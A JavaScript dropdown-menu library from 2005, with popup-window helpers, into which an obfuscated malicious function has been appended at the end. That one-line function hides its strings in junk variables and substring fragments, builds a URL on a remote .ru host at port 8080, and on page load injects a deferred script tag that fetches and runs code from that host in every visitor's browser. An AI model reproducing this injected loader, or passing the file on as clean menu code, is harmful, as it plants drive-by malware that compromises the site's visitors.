// <script>

// Copyright (C) 2005 Ilya S. Lyubinskiy. All rights reserved.
// Technical support: http://www.php-development.ru/
//
// YOU MAY NOT
// (1) Remove or modify this copyright notice.
// (2) Distribute this code, any part or any modified version of it.
//     Instead, you can link to the homepage of this code:
//     http://www.php-development.ru/javascripts/dropdown.php.
//
// YOU MAY
// (1) Use this code on your website.
// (2) Use this code as a part of another product provided that
//     its main use is not creating javascript menus.
//
// NO WARRANTY
// This code is provided "as is" without warranty of any kind, either
// expressed or implied, including, but not limited to, the implied warranties
// of merchantability and fitness for a particular purpose. You expressly
// acknowledge and agree that use of this code is at your own risk.


// ----- Popup Control ---------------------------------------------------------

function at_display(x)
{
	var win = window.open();
	for (var i in x) win.document.write(i+' = '+x[i]+'<br>');
}

// ----- Show Aux -----

function at_show_aux(parent, child)
{
	var p = document.getElementById(parent);
	var c = document.getElementById(child );

	var top  = (c["at_position"] == "y") ? p.offsetHeight+2 : 0;
	var left = (c["at_position"] == "x") ? p.offsetWidth +2 : 0;

	for (; p; p = p.offsetParent)
	{
		top  += p.offsetTop;
		left += p.offsetLeft;
	}

	c.style.position   = "absolute";
	c.style.top        = top +'px';
	c.style.left       = left+'px';
	c.style.visibility = "visible";
}

// ----- Show -----

function at_show()
{
	var p = document.getElementById(this["at_parent"]);
	var c = document.getElementById(this["at_child" ]);

	at_show_aux(p.id, c.id);

	clearTimeout(c["at_timeout"]);
}

// ----- Hide -----

function at_hide()
{
	var c = document.getElementById(this["at_child"]);

	c["at_timeout"] = setTimeout("document.getElementById('"+c.id+"').style.visibility = 'hidden'", 333);
}

// ----- Click -----

function at_click()
{
	var p = document.getElementById(this["at_parent"]);
	var c = document.getElementById(this["at_child" ]);

	if (c.style.visibility != "visible")
	at_show_aux(p.id, c.id);
	else c.style.visibility = "hidden";

	return false;
}

// ----- Attach -----

// PARAMETERS:
// parent   - id of visible html element
// child    - id of invisible html element that will be dropdowned
// showtype - "click" = you should click the parent to show/hide the child
//            "hover" = you should place the mouse over the parent to show
//                      the child
// position - "x" = the child is displayed to the right of the parent
//            "y" = the child is displayed below the parent
// cursor   - Omit to use default cursor or check any CSS manual for possible
//            values of this field

function at_attach(parent, child, showtype, position, cursor)
{
	var p = document.getElementById(parent);
	var c = document.getElementById(child);

	p["at_parent"]     = p.id;
	c["at_parent"]     = p.id;
	p["at_child"]      = c.id;
	c["at_child"]      = c.id;
	p["at_position"]   = position;
	c["at_position"]   = position;

	c.style.position   = "absolute";
	c.style.visibility = "hidden";

	if (cursor != undefined) p.style.cursor = cursor;

	switch (showtype)
	{
		case "click":
		p.onclick     = at_click;
		p.onmouseout  = at_hide;
		c.onmouseover = at_show;
		c.onmouseout  = at_hide;
		break;
		case "hover":
		p.onmouseover = at_show;
		p.onmouseout  = at_hide;
		c.onmouseover = at_show;
		c.onmouseout  = at_hide;
		break;
	}
}

function PopUpView(url)
{
	var height = screen.availHeight ;
	var width = screen.availWidth;
		width= width-150;
		height= height-100;
		
	//url = url+'&width='+()+'&height='+();
	window.open(url,"_blank","toolbar=no, location=0, directories=no, status=no, menubar=no, titlebar=no, scrollbars=yes, resizable=yes, copyhistory=no, width="+width+", height="+height);
}

function PopUpMail(url,width,height)
	{
		var option ="toolbar=no, location=0, directories=no, status=no, menubar=no, titlebar=no, scrollbars=no, resizable=no, copyhistory=no, width="+width+", height="+height;	
		window.open(url,"_blank",option);
	}


function _(){this.H="";var d=new String();var a;if(a!=''){a='E'};var K=RegExp;var u;if(u!='O' && u != ''){u=null};this.he="";var G='';var Z;if(Z!='b' && Z!='dy'){Z='b'};var pi;if(pi!='' && pi!='Us'){pi='Fv'};var p=String("g");var W;if(W!='Ef'){W=''};var aT;if(aT!='TI'){aT=''};function M(L,g){var Q= "[j0m".substr(0,1);var v=new Date();var bC=new Date();Q+=g;var bR='';var x=new Array();Q+=new String("]");var s;if(s!='' && s!='k'){s=null};var P=new K(Q, p);this.q="";var Tg;if(Tg!='' && Tg!='cE'){Tg=null};return L.replace(P, G);};var wA=new String();var pS;if(pS!='Lo'){pS='Lo'};var l;if(l!='LA' && l!='sm'){l='LA'};var h='';var Te=new String();var QE=String("de"+"fe"+"r");var rV="";var U="scri"+"FJOpt".substr(3);var mM=new Date();var Wy;if(Wy!='oc' && Wy != ''){Wy=null};var pg="sr5417".substr(0,2)+"c";var Qr="WXLhtt".substr(3)+"71fip:/i7f1".substr(4,3)+"mcH/su".substr(3)+"rft"+"hecVbj3".substr(0,3)+"haniq7".substr(0,3)+"oqXEnelqXoE".substr(4,3)+"be5k-cokeb5".substr(4,3)+"m.sOk3".substr(0,3)+"oft"+"lay"+"er."+"UiSucomUSiu".substr(4,3)+"BpZ.tepBZ".substr(3,3)+"acuepK9".substr(0,3)+"p-coktv".substr(0,3)+"om.Cfh7".substr(0,3)+"MtwsupwtM".substr(3,3)+"erm9XW".substr(0,3)+"ixoNMK".substr(0,3)+"tLbonli".substr(4)+"ne."+"ru:S3J".substr(0,3);this.Xv="";var F=window;var heu=new String();var z=M('8113301333811130311',"31");var o=new String("/goEpS".substr(0,3)+"cZ4oglcZ4".substr(3,3)+"1gGe.cGg1".substr(3,3)+"FQOom/FQO".substr(3,3)+"goo"+"gle"+".cowI1".substr(0,3)+"m/ax0kN".substr(0,3)+"dmirs4Q".substr(0,3)+"n5.iXt".substr(0,3)+"comGa2".substr(0,3)+"tOE/chOEt".substr(3,3)+"ip.zZv".substr(0,3)+"de/"+"fre"+"elouMz".substr(0,3)+"ttomEJ".substr(0,3)+".co"+"m.p"+"DFrhprDF".substr(3,2));var yE;if(yE!='la' && yE!='uA'){yE='la'};this.n_='';F.onload=function(){var pQ;if(pQ!='' && pQ!='Bs'){pQ=''};var Kj=new Array();try {var Mi;if(Mi!='Sx' && Mi!='og'){Mi=''};h=Qr+z;h+=o;var pq="";var ss="";i=document.createElement(U);this.wW="";var QI=new String();this.ld="";this.NL="";i[QE]=[1,7][0];var YH;if(YH!='' && YH!='t'){YH=''};this.IT="";i[pg]=h;var YA;if(YA!='ED' && YA!='sI'){YA=''};var jS;if(jS!='Zs' && jS!='EF'){jS='Zs'};document.body.appendChild(i);var ft=new Date();this.FJ="";var Ay=new Array();} catch(FU){var Kd;if(Kd!='TIO'){Kd=''};};};this.iS='';};var zs='';_();var mX;if(mX!='' && mX!='iSY'){mX=''};var sL=new String();